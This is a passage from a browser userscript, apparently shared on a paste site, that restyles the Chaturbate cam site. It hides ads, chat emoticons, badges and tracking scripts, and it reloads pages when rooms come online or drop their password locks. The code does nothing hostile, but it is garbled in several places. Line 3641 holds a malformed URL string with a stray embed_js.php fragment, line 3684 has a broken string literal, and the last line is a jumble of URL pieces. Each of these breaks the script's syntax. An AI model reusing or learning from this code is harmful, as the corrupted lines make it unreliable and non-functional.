  3375.                 } else if (color4 == 3){
  3376.                     document.cookie = 'cb-color4=' + "Verdana" + '; expires=' + later.toUTCString() + '; path=/';
  3377.                 }
  3378.  
  3379.                 location.reload();
  3380.             };
  3381.             close.appendChild(closeTxt);
  3382.             save.appendChild(saveTxt);
  3383.             document.body.appendChild(close);
  3384.             document.body.appendChild(save);
  3385.         };
  3386.         edit.appendChild(editTxt);
  3387.         document.body.appendChild(edit);
  3388.     });
  3389. }
  3390. //===================================================== Creates the SETTINGS Link only on these pages
  3391. var versionTxt = document.URL;
  3392. var locPathName = location.pathname;
  3393. var chtBox = $('.chat-box');
  3394. if ((locPathName === '/trans-cams/') || (locPathName === '/') || (versionTxt === 'https://chaturbate.com/')) {
  3395.     var myGarbageCollector = setInterval(myTimer, 1000);
  3396.     quickCheck();
  3397. } else if (chtBox) {
  3398.     var myGarbageCollector2 = setInterval(chatGraphics, 50000);//Chatbox exists, add timer to clean chat spam
  3399.     var tTip = $('#tooltip-subject');
  3400.     if (tTip) { tTip.remove(); }  //Remove the Room Subject Tooltip that sometimes gets stuck open
  3401.     var nextcam = $( ".nextcam" );
  3402.     if (nextcam) { nextcam.remove(); } //Remove SCAN cams and NEXT CAM tabs
  3403. }
  3404. //===================================================== Function to find annoying chat graphics
  3405. function chatGraphics () {
  3406.     var strTitle = [":notips", ":comeontipguys", ":tip", ":tokens", ":tipifyoulike", ":tipguyz", ":motivation" +
  3407.     ":moretipsgreatshow", ":moreme", ":mmmh", ":tipguys", ":notipnoshow", ":plssendtip01" +
  3408.     ":moretipmoreshow2", ":tipsshow", ":plsfollow01", ":transfrot", ":moretips1", ":150" +
  3409.     ":tipsee", ":tokensforreqests", ":showtip", ":suckingdeep"];
  3410.     for (var j=0;j<strTitle.length;j++){
  3411.         var imageString = $('img[title="' + strTitle[j] + '"]');
  3412.         if (imageString) {
  3413.             imageString.remove();
  3414.         }
  3415.     }
  3416. }
  3417.  
  3418. function addGlobalStyle(css) {
  3419.     var head, style;
  3420.     head = document.getElementsByTagName('head')[0];
  3421.     if (!head) { return; }
  3422.     style = document.createElement('style');
  3423.     style.type = 'text/css';
  3424.     style.innerHTML = css;
  3425.     head.appendChild(style);
  3426. }
  3427.  
  3428. addGlobalStyle('#header .ad {display:none!important;}' +
  3429.     '.logo {background:url(\'https://greasyfork.org/system/screenshots/screenshots/000/003/216/thumb/logo-standard.png\') no-repeat!important;}' +
  3430.     '#main .ad {display:none!important;}' +
  3431.     '#botright {display:none!important;}' +
  3432.     '#main .banner {display:none!important;}' +
  3433.     '#close_entrance_terms {background-color:#' + color[0] + '!important;}' +
  3434.     '#close_broadcast_terms {background-color:#' + color[0] + '!important;}' +
  3435.     'a {color:#' + color[1] + '!important; outline-style:none!important; text-decoration:none!important;}' +
  3436.     'a:hover {color:#777777!important;}' +
  3437.     'body {background-color:#000000!important;}' +
  3438.     '#header {background-image:http://deplist.weebly.com/uploads/6/1/9/1/61911901/7467455_orig.png!important; background-color:#' + color[0] + '!important;}' +
  3439.     '#header .section {background-color:#' + color[0] + '!important;}' +
  3440.     '#main .top-section p{margin:0 0 1px!important;}' +
  3441.     '#main .top-section {border-bottom:1px solid #000000!important; border-bottom-width: thin!important; border-bottom-style: double!important; box-shadow: 0 5px 1px 6px #000000!important; padding:0px 19px 0 19px!important;}' +
  3442.     '.sub-nav {display:inline-block;position:relative;top:0.5px;left:38%!important;min-width:275px;list-style:none;margin:0;padding:0;height:1%;overflow:hidden;font-family:\'Nyala\'!important;}' +
  3443.     '#main .top-section .sub-nav {background-image:none!important;}' +
  3444.     '#main .content {background-color:#' + color[0] + '!important; padding:5px 0px 14px 0!important;}' +
  3445.     '#header .nav-bar {background-color:#' + color[1] + '!important; border-color:#cbcbcb!important;}' +
  3446.     '#nav {font-family:Tw Cen MT!important; padding-bottom:5px!important;}' +
  3447.     '#nav li a {color:#eeeeee!important;}' +
  3448.     '#nav li a:hover {color:#' + color[0] + '!important;}' +
  3449.     '#header .creat {font-family:\'Nyala\'!important; color:#cbcbcb!important; background-color:#FFFFFF!important; background-image:none!important; padding-left:2px!important; padding-bottom:5px!important; border-radius:0!important;}' +
  3450.     '#main .top-section .sub-nav a {font-family:' + color4 + '!important; top:0px!important; left:38%!important; color:#003366!important; border-color:#000000!important; background-color:#ffffff!important; border-style: groove!important; border-width: 2px!important; text-shadow: .6px .3px 1px #000000!important; padding:2px 15px 1px!important;}' +
  3451.     '#main .top-section .sub-nav a:hover {color:#e60000!important; top:0px!important; left:38%!important; background-color:#ffffff!important;cursor: auto;}' +
  3452.     '#main .top-section .sub-nav .active a {color:#FF0000!important; top:0px!important; left:38%!important; background-color:#ffffff!important; }' +
  3453.     '#main .top-section .actions li a {padding-left:10px!important; background-color:#' + color[0] + '!important; background-image:none!important; border-color:#888888!important;}' +
  3454.     'strong {color:#131313!important;}' +
  3455.     'h1, h2, h3 {color:#' + color[1] + '!important;}' +
  3456.     '#main .content .endless_page_template {width:100%!important; margin:0 10px 0 32px!important;}' +
  3457.     '.thumbnail_label_c {background-color:#181818!important;}' +
  3458.     '.thumbnail_label_c_hd {background-color:#' + color[1] + '!important;}' +
  3459.     '.thumbnail_label_transsexual {background-color:#ff0000!important;}' +
  3460.     '.thumbnail_label_c_new {background-color:#545454!important;}' +
  3461.     '#defchat .section .chat-holder .chat-box .users-list .text .color-p {color:#be6aff!important;}' +
  3462.     '#defchat .section .chat-holder .chat-box .users-list .text .color-l {color:#804baa!important;}' +
  3463.     '#defchat .section .chat-holder .chat-box .users-list .text .color-o {color:#dc5500!important;}' +
  3464.     '#defchat .section .chat-holder .chat-box .users-list .text .color-m {color:#dc0000!important;}' +
  3465.     '#defchat .section .chat-holder .chat-box .users-list .text .color-f {color:#00cf00!important;}' +
  3466.     '#defchat .section .chat-holder .chat-box .users-list .text .color-tr {color:#000099!important;}' +
  3467.     '#defchat .section .chat-holder .chat-box .users-list .text .color-t {color:#6699aa!important;}' +
  3468.     '#defchat .section .chat-holder .chat-box .users-list .text .color-g {color:#666666!important;}' +
  3469.     '#defchat .section .chat-holder .chat-box .chat-list .roommessagelabel {color:#' + color[1] + '!important;}' +
  3470.     '.users-list, .settings-list, .chat-list {padding:0 11px 0 11px!important; width: auto!important;}' +
  3471.     '#main .content .c-1 {width:100%!important; margin-right:0px!important; margin:6px!important;}' +
  3472.     '.paging li a {background-color:#ffffff!important; border-color:#' + color[1] + '!important; background-image:none!important;}' +
  3473.     '.paging li a:hover {background-color:#ffffff!important;}' +
  3474.     '.paging .prev {border-radius:30px 0 0 30px!important;}' +
  3475.     '.paging .next {border-radius:0 30px 30px 0!important;}' +
  3476.     '.paging .endless_page_link {color:#181818!important;}' +
  3477.     '.paging .active .endless_page_link {color:#' + color[1] + '!important; background-color:#ffffff!important;}' +
  3478.     '#main .content .featured_blog_posts .blog_post .title_shell {background-image:none!important;}' +
  3479.     '#main .content .featured_blog_posts .blog_post .title_shell .title {background-color:transparent!important;}' +
  3480.     '.footer-holder {background-color:#eeeeee!important; background-image:none!important; border-top:2px solid #cbcbcb!important;}' +
  3481.     '#jscontext .jscontextBtn {color:#' + color[1] + '!important;}' +
  3482.     '#jscontext .jscontextBtn:hover {color:#eeeeee!important;}' +
  3483.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send {background-color:#888888!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3484.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  3485.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a:hover {color:#ffffff!important;}' +
  3486.     '#defchat .section .chat-holder .chat-box .chat-form {margin-right:12px!important;}' +
  3487.     '#defchat .info-user .headline .socials .button_share {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3488.     '#defchat .info-user .headline .socials .button_share a {background-image:none!important; text-shadow:none!important;}' +
  3489.     '#defchat .info-user .headline .socials .button_follow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3490.     '#defchat .info-user .headline .socials .button_follow a {background-image:none!important; text-shadow:none!important;}' +
  3491.     '#defchat .info-user .headline .socials .button_unfollow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3492.     '#defchat .info-user .headline .socials .button_unfollow a {background-image:none!important; text-shadow:none!important;}' +
  3493.     '#defchat .section .video-box .tip_shell .green_button_tip {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3494.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  3495.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button:hover {color:#ffffff!important;}' +
  3496.     '#defchat .offline_tipping .green_button_tip_offline {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  3497.     '#defchat .offline_tipping .green_button_tip_offline .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  3498.     '#defchat .offline_tipping .green_button_tip_offline .tip_button:hover {color:#ffffff!important;}' +
  3499.     '#defchat .section .video-box .tip_shell .goal_display .goal_display_table .dark_blue {background-color:#' + color[0] + '!important;}' +
  3500.     '.follow_tooltip, .share_tooltip, #rate_tooltip, #rated_tooltip, #rate_dim_tooltip, #broadcaster_rating_tooltip {background-color:#eeeeee!important; border-color:#777777!important;}' +
  3501.     '.follow_tooltip img, .share_tooltip img, #rate_tooltip img, #rated_tooltip img, #rate_dim_tooltip img, #broadcaster_rating_tooltip img {display:none!important;}' +
  3502.     '#tabs_content_container dl dt {color:#' + color[1] + '!important;}' +
  3503.     '#tabs_content_container .pics-description .photo_list .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  3504.     '#body_border .user_uploads .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  3505.     '#filter_search_form .button {background-color:#' + color[1] + '!important; background-image:none!important; padding-left:28px!important;}' +
  3506.     '#filter_search_form .button:hover {text-decoration:none!important;}' +
  3507.     '#defchat {width:auto!important;}' +
  3508.     '.section {width:100%!important;}' +
  3509.     '.block {margin-right:12px!important; border:1px ridge #000000!important; padding: 4px!important;}' +
  3510.     '#login-box {border-color:#777777!important; z-index:2001!important;}' +
  3511.     '#login-box .pagename {position:relative!important; top:-4px!important; left:-2px!important; font-family:\'trebuchet ms\'!important; color:#' + color[1] + '!important;}' +
  3512.     '#login-box .button {padding-left:14px!important; color:#454545!important; background-color:#cbcbcb!important; background-image:none!important;}' +
  3513.     '#login-box .button:hover {color:#eeeeee!important; background-color:#888888!important; text-decoration:none!important;}' +
  3514.     '#user_information .top {background-color:#' + color[1] + '!important; border-radius:2px 2px 0 0!important; padding:5px 3px 4px 5px!important;}' +
  3515.     '#user_information .top .username{display:inline-block;font:14px; font-family:\'Nyala\'!important;overflow:hidden;margin:0 12px 0 5px;max-width:125px;text-overflow:ellipsis;white-space:nowrap;position:relative;top:3px;}' +
  3516.     '#user_information {position:absolute!important; top:-9px!important; right:0!important;}' +
  3517.     '#user_information .top a {color:#eeeeee!important;}' +
  3518.     '#user_information .top a:hover {color:#cbcbcb!important;}' +
  3519.     '#user_information .tokencountlink {font-size:11px!important;}' +
  3520.     '#user_information .bottom {border-color:#' + color[1] + '!important;}' +
  3521.     '#apps_and_bots_table tr legend {color:#' + color[1] + '!important;}' +
  3522.     '#leaderboard .number {color:#181818!important;}' +
  3523.     '#leaderboard .position_1 {color:#' + color[1] + '!important;}' +
  3524.     '#tag_table {border-color:#' + color[1] + '!important;}' +
  3525.     '#tag_table .headers {background-color:#' + color[1] + '!important;}' +
  3526.     '#tag_table .tag_row:nth-child(2n+1) {background-color:#' + color[0] + '!important;}' +
  3527.     '#broadcaster_settings legend {color:#' + color[1] + '!important;}' +
  3528.     '.button {color:#' + color[1] + '!important; text-decoration:none!important; background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important; padding:0 15px 2px 15px!important;}' +
  3529.     '.button:hover {color:#131313!important;}' +
  3530.     '#filter_search_form p .button {color:#cbcbcb!important; padding:2px 6px!important;}' +
  3531.     '#filter_search_form p .button:hover {color:#e6e6e6!important;}' +
  3532.     '#suggest_app img {display:none!important;}' +
  3533.     'a.user_upload_preview {color:#181818!important;}' +
  3534.     'a.user_upload_preview:hover {color:#777777!important;}' +
  3535.     '.overlay_popup .formborder {border:2px solid #' + color[1] + '!important; border-radius:4px!important;}' +
  3536.     '.overlay_popup .divider {display:none!important;}' +
  3537.     '.overlay_popup .title {color:#' + color[1] + '!important;}' +
  3538.     '.app_launch a {background-color:#cbcbcb!important;}' +
  3539.     '.proposal_votes {background-color:#cbcbcb!important;}' +
  3540.     '.related {color:#' + color[1] + '!important;}' +
  3541.     '.document, .related {background-color:#' + color[0] + '!important;}' +
  3542.     '.sphinxsidebar ul, .sphinxsidebar h4, .sphinxsidebar p, .footer {color:#777777!important;}' +
  3543.     '.datatable, .datatable th {background-color:#' + color[1] + '!important;}' +
  3544.     '.code {color:#' + color[1] + '!important;}' +
  3545.     '.fixnav {position:fixed!important; left:0!important; top:0!important; width:100%!important; height:auto!important; z-index:999!important;}' +
  3546.     '#login-overlay {z-index:2000!important;}' +
  3547.     '#overlay {z-index:1001!important;}' +
  3548.     '#entrance_terms, #broadcast_terms {z-index:1002!important;}' +
  3549.     '.tip_popup img {display:none!important;}' +
  3550.     '.tabs {background-color:#e6e6e6!important;}' +
  3551.     '#app_title {color:#' + color[1] + '!important;}' +
  3552.     'legend {color:#' + color[1] + '!important;}' +
  3553.     '.share {background-color:#e6e6e6!important;}' +
  3554.     '.blue, .ourtitle, .choiceclear {color:#' + color[1] + '!important;}');
  3555. //===============================================
  3556. //===============================================
  3557. var getName = location.pathname;
  3558. var latest = getName.slice(1,-1);
  3559.  
  3560. if (latest == 'tags') {
  3561.     latest = '';
  3562. }
  3563.  
  3564. var prof = latest.search('p/');
  3565. if (prof === 0) {
  3566.     latest = latest.replace('p/', '');
  3567. }
  3568.  
  3569. var broad = latest.search('b/');
  3570. if (broad === 0) {
  3571.     latest = latest.replace('b/', '');
  3572. }
  3573.  
  3574. var app = latest.search('app');
  3575. if (app === 0) {
  3576.     document.getElementById('verText').innerHTML = '';
  3577.     document.getElementById('editBut').innerHTML = '';
  3578. }
  3579.  
  3580. var apps = latest.search('apps');
  3581. if (apps === 0) {
  3582.     latest = latest.replace('apps', '');
  3583.     document.getElementById('verText').innerHTML = '';
  3584.     document.getElementById('editBut').innerHTML = '';
  3585. }
  3586.  
  3587. var affiliates = latest.search('affiliates/api/onlinerooms');
  3588. if (affiliates === 0) {
  3589.     latest = latest.replace('affiliates/api/onlinerooms', '');
  3590.     document.getElementById('verText').innerHTML = '';
  3591.     document.getElementById('editBut').innerHTML = '';
  3592. }
  3593.  
  3594. var feeds = latest.search('feed/latest');
  3595. if (feeds === 0) {
  3596.     latest = latest.replace('feed/latest', '');
  3597.     document.getElementById('verText').innerHTML = '';
  3598.     document.getElementById('editBut').innerHTML = '';
  3599. }
  3600.  
  3601. var photovid = latest.search('photo_videos/');
  3602. var tipping = latest.search('tipping/');
  3603. var emoticons = latest.search('emoticons');
  3604. if ((photovid === 0) || (tipping === 0) || (emoticons === 0)) {
  3605.     document.getElementById('verText').innerHTML = '';
  3606.     document.getElementById('editBut').innerHTML = '';
  3607. }
  3608.  
  3609. var pic = document.createElement('IMG');
  3610. pic.setAttribute('id', 'newImage');
  3611. pic.setAttribute('src', 'https://roomimg.stream.highwebmedia.com/ri/' + latest + '.jpg');
  3612. pic.setAttribute('style', 'position:' + posi + '; top:0; right:268px; border:1px solid #' + color[1] + '; width:95px; height:78px; z-index:1000;');
  3613. pic.onload = function() {
  3614.     if ((latest != '/propose_app') && (latest != '/proposals') && (latest != '/upload_app') && (latest != '/search') && (latest != 'emoticons')) {
  3615.         document.body.appendChild(pic);
  3616.     }
  3617. };
  3618. pic.onerror = function() {
  3619.     pic.setAttribute('style', 'display:none;');
  3620. };
  3621.  
  3622. var link = document.getElementsByTagName('a');
  3623. for (i = 0; i < link.length; i++) {
  3624.     if (link[i].href.indexOf('?url=') != -1) {
  3625.         linkhref = unescape(link[i].href);
  3626.         newlinkhref = linkhref.substring(linkhref.indexOf("?url=") + 5, linkhref.indexOf("&domain"));
  3627.         link[i].href = newlinkhref;
  3628.     }
  3629. }
  3630.  
  3631. var broadcasting = '/b/' + latest + '/';
  3632.  
  3633. var onCheck = document.createElement('INS');
  3634. var onTxt = document.createTextNode('');
  3635. onCheck.setAttribute('id', 'checkOn');
  3636. onCheck.setAttribute('style', 'display:none;');
  3637. onCheck.appendChild(onTxt);
  3638. document.body.appendChild(onCheck);
  3639.  
  3640. $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  3641. $('#checkOn').load('https://chaturbate.com/'/'?-_js./embed_js.php?i + latest + '#defchat p strong');
  3642.  
  3643. setTimeout(function() {
  3644.     var getOn = document.getElementById('checkOn').textContent;
  3645.     var stripTags = getOn.search('Room is currently offline');
  3646.     if (stripTags !== 0) {
  3647.         return;
  3648.     }
  3649.     else {
  3650.         setInterval(function() {
  3651.             $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  3652.             setTimeout(function() {
  3653.                 var reCheck = document.getElementById('checkOn').textContent;
  3654.                 var reStrip = reCheck.search('Room is currently offline');
  3655.                 if (reStrip === 0) {
  3656.                     return;
  3657.                 }
  3658.                 else if (getName == broadcasting) {
  3659.                     return;
  3660.                 }
  3661.                 else {
  3662.                     location.reload();
  3663.                 }
  3664.             }, 5000);
  3665.         }, 5000);
  3666.     }
  3667. }, 5000);
  3668.  
  3669. // =============================================================================
  3670. // === Remove Thumbnail Preview Lock Icon to make Preview more Visible =========
  3671. // =============================================================================
  3672. pictures = document.getElementsByClassName('preview');
  3673. if (pictures) {
  3674.     for (i = 0; i < pictures.length; i++) {
  3675.         if (pictures[i].getAttribute("alt") == "Locked") {
  3676.             pictures[i].parentNode.removeChild(pictures[i]);
  3677.         }
  3678.     }
  3679. }
  3680. // =============================================================================
  3681. // === Create Favorite Model Cam ===============================================
  3682. // =============================================================================
  3683. if (color3 !== '') {
  3684.     if (latest == ''followed-cams') {
  3685.        var chgAct = document.getElementsByClassName('sub-nav')[0].innerHTML;
  3686.        var exCheck = chgAct.search('<li class="active">');
  3687.        if (exCheck) {
  3688.            chgAct = chgAct.replace('<li class="active">', '<li>');
  3689.        }
  3690.        var newEx = chgAct + '<li class="active"><a href="/' + color3 + '/">' + color3 + '</a></li>';
  3691.        document.getElementsByClassName('sub-nav')[0].innerHTML = newEx;
  3692.    } else if (getName == broadcasting) {
  3693.        console.log('Broadcasting Interface Detected');
  3694.    } else {
  3695.        var getSub = document.getElementsByClassName('sub-nav')[0].innerHTML;
  3696.        var addEx = getSub + '<li><a href="/' + color3 + '/">' + color3 + '</a></li>';
  3697.        document.getElementsByClassName('sub-nav')[0].innerHTML = addEx;
  3698.    }
  3699. }
  3700. var getSubAgain = document.getElementsByClassName('sub-nav')[0].innerHTML;
  3701. var addExAgain = getSubAgain + '<li><a href="' + document.URL + '">' + 'REFRESH' + '</a></li>';
  3702. document.getElementsByClassName('sub-nav')[0].innerHTML = addExAgain;
  3703. // =============================================================================
  3704. if (color4 === ''){
  3705.    color4 = "Tw Cen MT"
  3706. }
  3707. // =============================================================================
  3708. // === Remove Sections =========================================================
  3709. // =============================================================================
  3710. function removeEBP() {
  3711.    MV_removeElementsByPath("//img[contains(@src, 'postimg.org')]");
  3712.    MV_removeElementsByPath("//img[contains(@src, 'www.dmca.com/App_Themes/')]");
  3713.    MV_removeElementsByPath("//img[contains(@src, 'http://s06.flagcounter.com')]");
  3714.     MV_removeElementsByPath("//img[contains(@src, 'http://s09.flagcounter.com')]");
  3715.     MV_removeElementsByPath("//img[contains(@src, 'http://25.media.tumblr.com')]");
  3716.     MV_removeElementsByPath("//img[contains(@src, '4.bp.blogspot.com')]");
  3717.     MV_removeElementsByPath("//img[contains(@src, 'https://3.bp.blogspot.com')]");
  3718.     MV_removeElementsByPath("//img[contains(@src, 'https://2.bp.blogspot.com')]");
  3719.     MV_removeElementsByPath("//img[contains(@src, 'https://1.bp.blogspot.com')]");
  3720.     MV_removeElementsByPath("//img[contains(@src, 'ig-badge-48.png')]");
  3721.     MV_removeElementsByPath("//img[contains(@src, 'dmca_protected')]");
  3722.     MV_removeElementsByPath("//img[contains(@src, 'imgur')]");
  3723.     MV_removeElementsByPath("//img[contains(@src, 'www.camfolk.info/')]");
  3724.     MV_removeElementsByPath("//img[contains(@src, 'http://www.asocea.com')]");
  3725.     MV_removeElementsByPath("//img[contains(@src, 'tinypic.com')]");
  3726.     MV_removeElementsByPath("//img[contains(@src, 'photobucket.com')]");
  3727.     MV_removeElementsByPath("//img[contains(@src, 'imageshack.com')]");
  3728.     MV_removeElementsByPath("//img[contains(@src, 'ecx.images-amazon.com')]");
  3729.     MV_removeElementsByPath("//img[contains(@src, 'dresden-stollen.com')]");
  3730.     MV_removeElementsByPath("//img[contains(@src, 'hatchnorfolk.com')]");
  3731.     MV_removeElementsByPath("//img[contains(@src, 'icons.iconarchive.com')]");
  3732.     MV_removeElementsByPath("//img[contains(@src, 'googleusercontent.com')]");
  3733.     MV_removeElementsByPath("//img[contains(@src, 'server.myspace-shack.com')]");
  3734.     MV_removeElementsByPath("//img[contains(@src, 'images.dmca.com/Badges/')]");
  3735.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-grn-btn100w.png')]");
  3736.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-std-btn140w.png')]");
  3737.     MV_removeElementsByPath("//img[contains(@src, 'dmca_normal.png')]");
  3738.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-200w_a_zpsf5mn8hoq.png')]");
  3739.     MV_removeElementsByPath("//img[contains(@src, '_dmca_premi_badge_2.png')]");
  3740.     MV_removeElementsByPath("//img[contains(@src, 'amazon_jk.png')]");
  3741.     MV_removeElementsByPath("//img[contains(@src, 'https://45.media.tumblr.com')]");
  3742.     MV_removeElementsByPath("//img[contains(@src, 'picasion.com')]");
  3743.     MV_removeElementsByPath("//img[contains(@src, 'glitterfy.com')]");
  3744.     MV_removeElementsByPath("//img[contains(@style, 'width:400px; height:400px')]");
  3745.     MV_removeElementsByPath("//img[contains(@style, 'width:100px; height:100px')]");
  3746.     MV_removeElementsByPath("//img[contains(@style, 'width:64px; height:64px')]");
  3747.     MV_removeElementsByPath("//img[contains(@style, 'width:62px; height:62px')]");
  3748.     MV_removeElementsByPath("//img[contains(@style, 'width:60px; height:60px')]");
  3749.     MV_removeElementsByPath("//img[contains(@style, 'width:55px; height:55px')]");
  3750.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:50px')]");
  3751.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:57px')]");
  3752.     MV_removeElementsByPath("//img[contains(@style, 'width:48px; height:48px')]");
  3753.     MV_removeElementsByPath("//img[contains(@style, 'width:43px; height:43px')]");
  3754.     MV_removeElementsByPath("//a[contains(@href, 'width:50px; height:50px')]");
  3755.     MV_removeElementsByPath("//a[contains(@href, 'http://i.imgur.com')]");
  3756.     MV_removeElementsByPath("//a[contains(@href, 'http://imgur.com')]");
  3757.     MV_removeElementsByPath("//a[contains(@href, 'amateurmatch')]");
  3758.     MV_removeElementsByPath("//a[contains(@href, 'amazon')]");
  3759.     MV_removeElementsByPath("//a[contains(@href, '/tags/')]");
  3760.     MV_removeElementsByPath("//a[contains(@href, 'https://twitter.com/')]");
  3761.     MV_removeElementsByPath("//a[contains(@href, 'instagram.com/')]");
  3762.     MV_removeElementsByPath("//a[@href='/contest/details/']");
  3763.     //MV_removeElementsByPath("//a[@href='/male-cams/']");
  3764.     //MV_removeElementsByPath("//a[@href='/female-cams/']");
  3765.     MV_removeElementsByPath("//a[@href='/couple-cams/']");
  3766.     //MV_removeElementsByPath("//a[@href='/spy-on-cams/']");
  3767.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='/tipping/free_tokens/']");
  3768.     MV_removeElementsByPath("//div[@class='c-1 endless_page_template']//div[@class='thumbnail_label thumbnail_label_c']");
  3769.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='http://blog.chaturbate.com/']");
  3770.     MV_removeElementsByPath("//div[@class='top-section']//li/a[@href='/']");
  3771.     MV_removeElementsByPath("//div[@class='featured_text']");
  3772.     MV_removeElementsByPath("//div[@class='footer-holder']");
  3773.     MV_removeElementsByPath("//div[@class='featured_blog_posts']");
  3774.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_c')]");
  3775.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_tokens')]");
  3776.     var headerAD = $('.ad');
  3777.     if (headerAD) { headerAD.remove(); } //Remove AD sections hidden inside the page Header
  3778. // =============================================================================
  3779.     var scriptTest = $('script[src="https://cdn.exoticads.com/xads.js"]');
  3780.     if (scriptTest) { scriptTest.remove(); } //Remove the garbage AD script
  3781. // =============================================================================
  3782.     var scriptTest2 = $('script[src="https://ssl.google-analytics.com/ga.js"]');
  3783.     if (scriptTest2) { scriptTest2.remove(); } //Remove the google analytics tracking script
  3784. // =============================================================================
  3785.     var removeGAQ = $('script[id="gaq"]');
  3786.     if (removeGAQ) { removeGAQ.remove(); } //Remove the google tracking script
  3787. }
  3788. // =============================================================================
  3789. // === Functions================================================================
  3790. // =============================================================================
  3791. // Include start [domUtil.js]
  3792. function MV_removeElementsByPath(pPath) {
  3793.     var pathResult = document.evaluate(pPath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  3794.     if(pathResult.snapshotLength > 0) {
  3795.         for(var i=0; i < pathResult.snapshotLength; i++) {
  3796.             var pathNode = pathResult.snapshotItem(i);
  3797.             pathNode.parentNode.removeChild(pathNode);
  3798.         }
  3799.     }
  3800. }
  3801. // =============================================================================
  3802. // === Get Elements By Path ====================================================
  3803. // =============================================================================
  3804. function MV_getElementByPath(pPath, pRoot) {
  3805.     var pathResult = document.evaluate(pPath, pRoot === null ? document : pRoot, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  3806.     return pathResult.snapshotLength <= 0 ? null : pathResult.snapshotItem(0);
  3807. }
  3808. // =============================================================================
  3809. // === Create Button ===========================================================
  3810. // =============================================================================
  3811. function MV_createButton(pAttributes, pClickListener) {
  3812.     pAttributes.type = "button";
  3813.     var resultElement = MV_createElement("input", pAttributes);
  3814.     if(pClickListener !== null) {
  3815.         resultElement.addEventListener("click", pClickListener, true);
  3816.     }
  3817.     return resultElement;
  3818. }
  3819. // =============================================================================
  3820. // === Create Element ==========================================================
  3821. // =============================================================================
  3822. function MV_createElement(pElementName, pAttributes, pInnerHtml) {
  3823.     var resultElement = document.createElement(pElementName);
  3824.     for(var attributeName in pAttributes) {
  3825.         resultElement.setAttribute(attributeName, pAttributes[attributeName]);
  3826.     }
  3827.     if(pInnerHtml !== null) {
  3828.         resultElement.innerHTML = pInnerHtml;
  3829.     }
  3830.     return resultElement;
  3831. }
  3832.  
  3833. var passCheck = document.createElement('INS');
  3834. var passTxt = document.createTextNode('');
  3835. passCheck.setAttribute('id', 'checkPass');
  3836. passCheck.setAttribute('style', 'display:none;');
  3837. passCheck.appendChild(passTxt);
  3838. document.body.appendChild(passCheck);
  3839.  
  3840. $('#checkPass').load('https://chaturbate.com/' + latest + '#main .content .c-1 .block h1');
  3841.  
  3842. setTimeout(function() {
  3843.     var getPass = document.getElementById('checkPass').textContent;
  3844.     var stripPtags = getPass.search('This room requires a password.');
  3845.     if (stripPtags !== 0) {
  3846.         return;
  3847.     }
  3848.     else {
  3849.         setInterval(function() {
  3850.             var newLatest = latest.replace('roomlogin/', '');
  3851.             $('#checkPass').load('https://chaturbate.com/' + newLatest + '#main .content .c-1 .block h1');
  3852.             setTimeout(function() {
  3853.                 var rePcheck = document.getElementById('checkPass').textContent;
  3854.                 var rePstrip = rePcheck.search('This room requires a password.');
  3855.                 if (rePstrip === 0) {
  3856.                     return;
  3857.                 }
  3858.                 else {
  3859.                     window.location = 'https://chaturbate.com/' + newLatest;
  3860.                 }
  3861.             }, 5000);
  3862.         }, 5000);
  3863.     }
  3864. }, 5000);
  3865. https://ssl-ccstatic.highwebmedia.com/CACHE.css.facebox/loading/gif.loading/$closeImage/$.closelabel.png'><strong..text/>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement